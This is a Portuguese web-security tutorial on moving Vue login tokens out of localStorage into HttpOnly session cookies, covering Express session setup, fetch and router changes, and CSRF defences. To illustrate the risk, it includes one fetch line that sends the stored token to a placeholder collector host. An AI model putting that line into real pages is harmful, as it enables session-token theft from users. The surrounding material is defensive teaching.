Token de login no Vue: por que não guardar no localStorage e como usar cookie de sessão
Troque o JWT no localStorage por cookie HttpOnly emitido pelo seu backend, ajuste o fetch e o guard do Vue Router para a sessão no servidor e proteja as rotas de escrita contra CSRF.
O painel em Vue funciona assim desde o primeiro tutorial: o login devolve um JWT, o código faz localStorage.setItem('token', jwt) e o interceptor do axios lê de lá para mandar no cabeçalho. Um dia, um comentário de cliente com HTML mal filtrado executa um script no painel, e esse script lê o token e manda para fora. O invasor passa a chamar a API como o atendente, do computador dele, até o token expirar dias depois. A resposta curta: qualquer JavaScript que rode na sua página lê o localStorage. Para sessão de usuário num app Vue servido pelo seu próprio backend, o lugar mais seguro é um cookie de sessão com HttpOnly, Secure e SameSite, emitido e conferido pelo servidor; o Vue nunca vê o token.
Os atributos do cookie em detalhe estão em cookie HttpOnly, Secure e SameSite. Aqui o foco é o lado do Vue: o que muda no fetch, no router e na tela quando a sessão sai do localStorage.
Por que o localStorage é o lugar errado
O localStorage é um armazenamento por origem, acessível por qualquer script que execute naquela origem. Isso inclui o seu código, o de toda biblioteca do package.json, o do widget de chat, o do script de analytics e o de qualquer XSS que escape da sua sanitização. Uma linha basta para o roubo:
fetch('https://coletor.invalid/t?v=' + encodeURIComponent(localStorage.getItem('token')));
O token roubado funciona em qualquer lugar e por toda a validade dele. Se o tutorial também guardou um refresh token ao lado, o invasor renova a sessão indefinidamente.
Cookie com HttpOnly não é lido por JavaScript: document.cookie não o mostra. O navegador o envia sozinho nas requisições para o seu domínio. Um XSS ainda consegue fazer requisições a partir da página aberta da vítima, e isso continua sendo grave, mas não consegue levar a credencial embora para usar depois. É a diferença entre um invasor que age só enquanto a aba está aberta e um que guarda a chave.
O desenho com sessão no servidor
- Front e API na mesma origem, ou em subdomínios do mesmo site. Por exemplo,
painel.exemplo.com.brservindo o Vue epainel.exemplo.com.br/apipelo proxy reverso. - O login é um POST para o backend, que confere a senha (ou conclui o fluxo OIDC) e responde com
Set-Cookie. - O cookie leva só um identificador de sessão opaco; os dados ficam no servidor.
- O Vue chama a API com
credentialse trata 401 levando para o login. - Uma rota
/api/mediz ao Vue quem está logado, para montar menu e permissões na tela. - O logout é um POST que destrói a sessão no servidor e apaga o cookie.
- Rotas de escrita conferem a origem ou um token anti-CSRF.
O backend emitindo o cookie (Express)
const session = require('express-session');
app.set('trust proxy', 1);
app.use(session({
name: 'sid',
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 8 * 60 * 60 * 1000
}
}));
O trust proxy é necessário quando o Node roda atrás de um proxy que termina o HTTPS; sem ele, o Express acha que a conexão é HTTP e não envia cookie secure. Em produção, o armazenamento padrão de sessão em memória do express-session não serve: use um store persistente, como Redis ou banco. O segredo vem de variável de ambiente, nunca do código.
O lado do Vue
// src/api.js
import { ref } from 'vue';
export const usuario = ref(null);
export async function api(caminho, opcoes = {}) {
const resp = await fetch('/api' + caminho, {
...opcoes,
credentials: 'same-origin',
headers: { 'Content-Type': 'application/json', ...(opcoes.headers || {}) }
});
if (resp.status === 401) {
usuario.value = null;
window.location.assign('/login?volta=' + encodeURIComponent(window.location.pathname));
throw new Error('Sessão expirada');
}
return resp;
}
export async function carregarUsuario() {
if (usuario.value) return usuario.value;
const resp = await fetch('/api/me', { credentials: 'same-origin' });
usuario.value = resp.ok ? await resp.json() : null;
return usuario.value;
}
// src/router.js
router.beforeEach(async (to) => {
if (!to.meta.requerLogin) return true;
const u = await carregarUsuario();
if (!u) return { path: '/login', query: { volta: to.fullPath } };
return true;
});
Não há token em lugar nenhum do front. O guard do router decide o que mostrar, mas é conforto de interface: a API recusa sozinha toda requisição sem sessão válida, porque qualquer pessoa pode chamar a API sem passar pelo router. Na volta do login, valide o parâmetro volta para aceitar só caminhos internos; o motivo está em URL aberta não é redirecionar.
CSRF: o preço de o navegador mandar o cookie sozinho
Se o navegador envia o cookie automaticamente, outro site pode tentar induzir uma requisição ao seu. SameSite=Lax impede o envio do cookie em POST vindo de outro site, o que cobre o caso mais comum. Mas subdomínios do mesmo domínio registrável contam como o mesmo site, e um subdomínio comprometido escapa dessa proteção. Para rotas que alteram dados, adicione uma camada: conferir o cabeçalho Origin contra a lista de origens permitidas, ou usar um token anti-CSRF que o front lê de uma rota e reenvia num cabeçalho. Nunca altere dado em requisição GET.
E se a API é de terceiros e exige token no navegador
Às vezes o Vue precisa chamar uma API de outro domínio que só aceita bearer token. O caminho recomendado atualmente para aplicações no navegador é o backend for frontend: o seu servidor guarda o token e faz a chamada, e o Vue fala com o seu servidor por cookie. Se isso não for possível, use Authorization Code com PKCE, mantenha o access token só em memória, com vida curta, e não guarde refresh token de longa duração no storage. O fluxo está em login no Vue com PKCE e a questão da validade em JWT que expira.
Erros comuns
- JWT no localStorage "porque é mais fácil". Qualquer XSS ou dependência comprometida leva a credencial e usa de outra máquina.
- Refresh token de longa duração ao lado do access token. O roubo vira acesso indefinido, renovado pelo próprio invasor.
- Proteger só a rota no Vue Router. Quem chama a API direto, sem a interface, passa por cima.
- Cookie sem
Secureou semHttpOnly. A sessão trafega em HTTP ou fica legível para o script que você queria barrar. - Esquecer o CSRF ao trocar para cookie. O ganho contra XSS vira exposição a requisição forjada em rotas de escrita.
- Token na URL ou no log. Vai parar no histórico, no Referer e no arquivo de log com retenção longa.
Checklist
- Abrindo o DevTools e rodando
localStorageedocument.cookieno console, nenhum token de sessão aparece. - O cookie de sessão tem
HttpOnly,SecureeSameSite. - A API devolve 401 para requisição sem sessão, independentemente do front.
- O logout destrói a sessão no servidor, não só apaga dados no navegador.
- Rotas que alteram dados conferem
Originou token anti-CSRF. - O parâmetro de volta do login só aceita caminhos internos.
- O store de sessão em produção é persistente, não a memória do processo.
Abra o console do navegador no seu painel logado e digite localStorage: aparece alguma coisa que permitiria chamar a sua API de outro computador?
Referência: https://blog.sqreen.com/authentication-best-practices-vue/